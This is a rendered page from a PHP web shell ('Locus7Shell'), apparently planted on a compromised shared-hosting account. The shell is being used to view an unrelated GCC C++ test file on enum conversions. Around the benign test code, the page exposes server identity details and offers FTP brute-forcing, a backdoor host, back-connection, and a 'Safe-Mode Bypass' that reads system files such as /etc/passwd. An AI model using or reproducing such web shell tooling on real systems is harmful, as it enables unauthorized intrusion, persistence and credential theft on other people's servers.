Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/cpp2a/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     enum-conv2.C (1.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// PR c++/97573
// { dg-do compile { target c++20 } }
// { dg-options "-Wno-deprecated -Wno-enum-compare" }

enum E1 { e } e1;
enum E2 { f } e2;
__extension__ static enum { } u1;
__extension__ static enum { } u2;
static double d;

void
conv ()
{
  bool b1 = e == e1;
  bool b2 = e == f;
  bool b3 = e == 0.0;
  bool b4 = 0.0 == f;
  int n1 = true ? e : f;
  int n2 = true ? e : 0.0;
}

int
enum_enum (bool b)
{
  int r = 0;
  const E1 e1c = e;

  r += e - e;
  r += e - e1;
  r += e - f;
  r += f - e;

  r += f + f;
  r += f + e;
  r += e + f;

  r += e1 - e2;
  r += e1 - e1c;
  r += e1c - e1;

  r += e * f;
  r += f * e;
  r += e * e;

  r += e1 < e1c;
  r += e < e1;
  r += e1 < e2;
  r += e < f;
  r += f < e;

  r += e1 == e1c;
  r += e == e1;
  r += e == f;
  r += f == e;
  r += e1 == e2;
  r += e2 == e1;

  r += b ? e1 : e1c;
  r += b ? e1 : e;
  r += b ? f : e;
  r += b ? e1 : e2;

  r += e | f;
  r += e ^ f;
  r += e & f;
  r += !e;
  r += e1 | e;

  r += e << f;
  r += e >> f;
  r += e || f;
  r += e && f;
  e1 = e1c;

  // Anonymous enum.
  r += u1 - u1;
  r += u1 + u2;
  r += u1 * u2;
  r += u1 == u2;
  r += u1 & u2;

  return r;
}

double
enum_float (bool b)
{
  double r = 0.0;

  r += e1 - d;
  r += d - e1;
  r += e1 + d;
  r += d + e1;
  r += e1 * d;
  r += d * e1;
  r += u1 * d;
  r += d * u1;

  r += e1 < d;
  r += d < e1;
  r += d == e1;
  r += e1 == d;
  r += u1 == d;
  r += d == u1;

  r += b ? e1 : d;
  r += b ? d : e1;
  r += b ? d : u1;
  r += b ? u1 : d;

  d += e1;
  d = e1;

  return r;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.005 ]--